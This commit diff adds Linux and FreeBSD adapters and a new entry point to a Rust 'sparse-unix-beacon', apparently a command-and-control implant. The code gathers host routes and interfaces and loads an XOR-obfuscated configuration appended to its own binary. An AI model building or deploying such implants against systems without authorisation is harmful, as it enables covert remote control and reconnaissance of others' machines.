fix: everything builds

made it also possible to download individual beacons as opposed to just
the installer, to provide more options and make it easier to test

sparse-unix-beacon/src/freebsd.rs

@@ -0,0 +1,30 @@
+use std::net::Ipv4Addr;
+
+use sparse_beacon::{
+    adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
+    error,
+};
+
+#[derive(thiserror::Error, Debug)]
+pub enum FreeBsdAdapterError {}
+
+impl sparse_beacon::error::AdapterError for FreeBsdAdapterError {}
+
+#[derive(Clone)]
+pub struct FreeBsdAdapter;
+
+#[async_trait::async_trait]
+impl BeaconAdapter for FreeBsdAdapter {
+    type Error = FreeBsdAdapterError;
+
+    fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
+        interface.name.clone()
+    }
+
+    fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
+        Ok(BeaconNetworkingInfo {
+            routes: vec![],
+            interfaces: vec![],
+        })
+    }
+}

sparse-unix-beacon/src/linux.rs

@@ -0,0 +1,91 @@
+use std::net::Ipv4Addr;
+
+use nl_sys::netlink;
+
+use sparse_beacon::{
+    adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
+    error,
+};
+
+#[derive(thiserror::Error, Debug)]
+pub enum LinuxAdapterError {
+    #[error("netlink error")]
+    Nl(#[from] nl_sys::error::Error),
+}
+
+impl sparse_beacon::error::AdapterError for LinuxAdapterError {}
+
+#[derive(Clone)]
+pub struct LinuxAdapter;
+
+#[async_trait::async_trait]
+impl BeaconAdapter for LinuxAdapter {
+    type Error = LinuxAdapterError;
+
+    fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
+        interface.name.clone()
+    }
+
+    fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
+        let nlsock = netlink::Socket::new().map_err(LinuxAdapterError::Nl)?;
+
+        let routes = nlsock.get_routes().map_err(LinuxAdapterError::Nl)?;
+        let links = nlsock.get_links().map_err(LinuxAdapterError::Nl)?;
+        let links_vec = links.iter().collect::<Vec<_>>();
+
+        Ok(BeaconNetworkingInfo {
+            routes: routes
+                .iter()
+                .filter_map(|r| {
+                    let dst = r.dst()?;
+                    let dst4: Ipv4Addr = (&dst).try_into().ok()?;
+
+                    let next_hop = r.nexthop(0)?;
+                    let gateway = next_hop.gateway()?;
+                    let gateway4: Ipv4Addr = (&gateway).try_into().ok()?;
+                    let gateway_int = u32::from(gateway4);
+
+                    let src_cidr = routes.iter().find_map(|r| {
+                        let dst = r.dst()?;
+                        let dst4: Ipv4Addr = (&dst).try_into().ok()?;
+
+                        if dst.cidrlen() == 0 {
+                            return None;
+                        }
+
+                        let mask = (0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen()))
+                            .0
+                            .overflowing_shl(32 - dst.cidrlen())
+                            .0;
+
+                        if (mask & u32::from(dst4)) == (mask & gateway_int) {
+                            Some(dst.cidrlen())
+                        } else {
+                            None
+                        }
+                    })?;
+
+                    Some(BeaconRoute {
+                        network: (dst4, dst.cidrlen() as u8),
+                        gateway: (gateway4, src_cidr as u8),
+                        interface_index: links_vec
+                            .iter()
+                            .position(|l| l.ifindex() == next_hop.ifindex())?,
+                    })
+                })
+                .collect(),
+            interfaces: links
+                .iter()
+                .filter_map(|l| {
+                    let mac_addr = l.addr().hw_address();
+
+                    Some(BeaconInterface {
+                        name: l.name().as_bytes().to_owned(),
+                        mtu: (l.mtu() & 0xFFFF) as u16,
+                        mac_addr: mac_addr.try_into().ok()?,
+                    })
+                })
+                .collect(),
+        })
+    }
+}

sparse-unix-beacon/src/main.rs

@@ -1,14 +1,41 @@
-fn main() {
-    println!("Hello, world!");
+use std::io::SeekFrom;
 
-    #[cfg(target_os = "freebsd")]
-    unsafe {
-        let sem = libc::sem_open(c"/libcrypto".as_ptr(), 0);
-        libc::sem_post(sem);
+use tokio::io::{AsyncSeekExt, AsyncReadExt};
+
+use sparse_actions::payload_types::{Parameters, XOR_KEY};
+use sparse_beacon::adapter::BeaconAdapter;
+
+#[cfg(target_os = "linux")]
+mod linux;
+#[cfg(target_os = "linux")]
+use linux::LinuxAdapter as Adapter;
+
+#[cfg(target_os = "freebsd")]
+mod freebsd;
+#[cfg(target_os = "freebsd")]
+use freebsd::FreeBsdAdapter as Adapter;
+
+#[tokio::main]
+async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> {
+    let mut binary_file = tokio::fs::OpenOptions::new()
+        .read(true)
+        .open(std::env::current_exe()?)
+        .await?;
+
+    let parameters_size = std::mem::size_of::<Parameters>() as i64;
+
+    binary_file.seek(SeekFrom::End(-parameters_size)).await?;
+    let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
+    binary_file.read_to_end(&mut parameters_buffer).await?;
+
+    for b in parameters_buffer.iter_mut() {
+        *b = *b ^ (XOR_KEY as u8);
     }
 
-    println!("Hello, world!");
-    unsafe { println!("\n{}\n", libc::getpid()) };
+    let parameters: Parameters =
+        unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
 
-    loop {}
+    sparse_beacon::run_beacon_step(Adapter, parameters).await?;
+
+    Ok(())
 }